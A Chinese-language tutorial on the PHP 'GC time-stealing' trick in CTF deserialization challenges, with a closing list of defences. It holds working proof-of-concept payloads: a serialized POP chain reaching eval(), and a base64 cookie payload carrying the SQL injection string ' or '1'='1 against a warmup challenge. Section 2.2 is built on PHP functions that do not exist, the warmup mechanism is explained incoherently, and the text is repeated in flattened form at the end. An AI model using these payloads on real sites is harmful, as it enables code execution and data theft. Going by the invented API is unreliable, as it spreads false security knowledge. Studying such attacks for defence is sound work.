GC时间窃取攻击
字数 1075 2025-08-24 07:48:09

PHP GC时间窃取攻击详解

1. PHP垃圾回收(GC)机制基础

PHP垃圾回收(Garbage Collection, GC)是PHP 5.3版本后引入的专门针对循环引用内存泄漏问题的机制。

1.1 GC基本工作原理

PHP的GC主要处理循环引用问题,通过以下步骤工作:

  1. 当根缓冲区满时启动垃圾回收
  2. 遍历所有可能的"垃圾"对象
  3. 标记所有可达对象
  4. 清除所有不可达对象

官方文档参考:PHP: 回收周期(Collecting Cycles)

2. GC时间窃取攻击原理

GC时间窃取攻击利用PHP垃圾回收机制对对象生命周期的影响,强制提前或阻止某些魔术方法的执行。

2.1 强制提前触发__destruct()

class YHQK {
    public $Ihavegirlfriend;
    
    public function __construct($Ihavegirlfriend) {
        $this->Ihavegirlfriend = $Ihavegirlfriend;
        echo $this->Ihavegirlfriend."areyouxianmume"."</br>";
    }
    
    public function __destruct(){
        echo $this->Ihavegirlfriend."nonono"."</br>";
    }
}

new YHQK(1);  // 无变量引用,会被GC立即回收
$a = new YHQK(2);  // 有变量引用
$b = new YHQK(3);  // 有变量引用

输出结果:

1areyouxianmume
1nonono
2areyouxianmume
3areyouxianmume
3nonono
2nonono

2.2 阻止__destruct()执行

class YHQK {
    public function __construct() {
        echo "Object created\n";
    }
    
    public function __destruct() {
        echo "Object destroyed\n";
    }
}

function gc_callback($obj) {
    if ($obj instanceof YHQK) {
        echo "GC callback: YHQK instance found, blocking __destruct\n";
        gc_cancel_finalization($obj);
    }
}

gc_enable();
gc_set_finalizer_callback('gc_callback');

$obj1 = new YHQK();
$obj2 = new YHQK();
$obj2 = null;
unset($obj1);

关键函数:

  • gc_enable(): 启用垃圾回收器
  • gc_set_finalizer_callback(): 设置垃圾回收回调
  • gc_cancel_finalization(): 取消对象的析构

3. GC攻击实战案例

3.1 绕过异常阻断destruct

题目源码:

class ssz1 {
    public $bzh;
    public function __destruct(){
        echo "hello __destruct";
        echo $this->bzh;
    }
}

class ssz2 {
    public $bzh;
    public function __toString() {
        echo "hello __toString";
        $this->bzh->flag();
    }
}

class ssz3 {
    public $bzh;
    public function getyourgirlfriend() {
        echo "hello wowowo()";
        eval($this->bzh);
    }
}

$a = unserialize($_GET['cmd']);
throw new Exception("nonono");

攻击思路:

  1. 正常情况下throw new Exception会阻断__destruct()执行
  2. 利用GC机制强制触发__destruct()

POC构造:

class ssz1 {
    public $bzh;
    public function __construct() {
        $this->bzh = new ssz2();
    }
}

class ssz2 {
    public $bzh;
    public function __construct() {
        $this->bzh = new ssz3();
    }
}

class ssz3 {
    public $bzh = "phpinfo();";
}

$a = new ssz1();
$c = array(0 => $a, 1 => NULL);
echo serialize($c);

3.2 攻防世界warmup题目利用

题目关键代码:

class SQL {
    // ... 省略其他方法 ...
    
    public function __wakeup(){
        if(!isset($this->conn)) {
            $this->connect();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }
}

// 在index.php中
if(isset($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize(base64_decode($_COOKIE['last_login_info']));
    try {
        if(is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
}

攻击POC:

class SQL {
}

$sql = new SQL();
$sql->table = 'users';
$sql->username = 'admin';
$sql->password = "' or '1'='1";
$poc = array($sql, 1);
echo base64_encode(str_replace('i:1', 'i:0', serialize($poc)));

攻击原理:

  1. 通过修改序列化数据中的i:1i:0,使password变为NULL
  2. 触发GC回收机制,导致SQL对象需要重新初始化
  3. __wakeup()方法优先于IP检查执行
  4. 绕过IP检查直接执行SQL注入

4. 防御措施

  1. 不要信任用户输入:对所有用户提供的数据进行严格验证
  2. 安全序列化处理
    • 使用hash_hmac验证序列化数据的完整性
    • 限制反序列化的类
  3. 魔术方法安全
    • 避免在__wakeup()__destruct()中执行敏感操作
    • 对魔术方法中的操作进行权限检查
  4. GC相关配置
    • 谨慎使用gc_set_finalizer_callback
    • 避免在回调中取消关键操作

5. 总结

GC时间窃取攻击是一种利用PHP垃圾回收机制特性来控制魔术方法执行时机的攻击方式,主要影响:

  1. 强制提前触发__destruct()方法
  2. 阻止__destruct()方法执行
  3. 绕过正常逻辑直接触发__wakeup()方法

这种攻击方式相对冷门但危害较大,开发者需要充分理解PHP垃圾回收机制的工作原理,并在代码中采取相应的防御措施。

PHP GC时间窃取攻击详解 1. PHP垃圾回收(GC)机制基础 PHP垃圾回收(Garbage Collection, GC)是PHP 5.3版本后引入的专门针对循环引用内存泄漏问题的机制。 1.1 GC基本工作原理 PHP的GC主要处理循环引用问题,通过以下步骤工作: 当根缓冲区满时启动垃圾回收 遍历所有可能的"垃圾"对象 标记所有可达对象 清除所有不可达对象 官方文档参考: PHP: 回收周期(Collecting Cycles) 2. GC时间窃取攻击原理 GC时间窃取攻击利用PHP垃圾回收机制对对象生命周期的影响,强制提前或阻止某些魔术方法的执行。 2.1 强制提前触发__ destruct() 输出结果: 2.2 阻止__ destruct()执行 关键函数: gc_enable() : 启用垃圾回收器 gc_set_finalizer_callback() : 设置垃圾回收回调 gc_cancel_finalization() : 取消对象的析构 3. GC攻击实战案例 3.1 绕过异常阻断destruct 题目源码: 攻击思路: 正常情况下 throw new Exception 会阻断 __destruct() 执行 利用GC机制强制触发 __destruct() POC构造: 3.2 攻防世界warmup题目利用 题目关键代码: 攻击POC: 攻击原理: 通过修改序列化数据中的 i:1 为 i:0 ,使 password 变为NULL 触发GC回收机制,导致SQL对象需要重新初始化 __wakeup() 方法优先于IP检查执行 绕过IP检查直接执行SQL注入 4. 防御措施 不要信任用户输入 :对所有用户提供的数据进行严格验证 安全序列化处理 : 使用 hash_hmac 验证序列化数据的完整性 限制反序列化的类 魔术方法安全 : 避免在 __wakeup() 和 __destruct() 中执行敏感操作 对魔术方法中的操作进行权限检查 GC相关配置 : 谨慎使用 gc_set_finalizer_callback 避免在回调中取消关键操作 5. 总结 GC时间窃取攻击是一种利用PHP垃圾回收机制特性来控制魔术方法执行时机的攻击方式,主要影响: 强制提前触发 __destruct() 方法 阻止 __destruct() 方法执行 绕过正常逻辑直接触发 __wakeup() 方法 这种攻击方式相对冷门但危害较大,开发者需要充分理解PHP垃圾回收机制的工作原理,并在代码中采取相应的防御措施。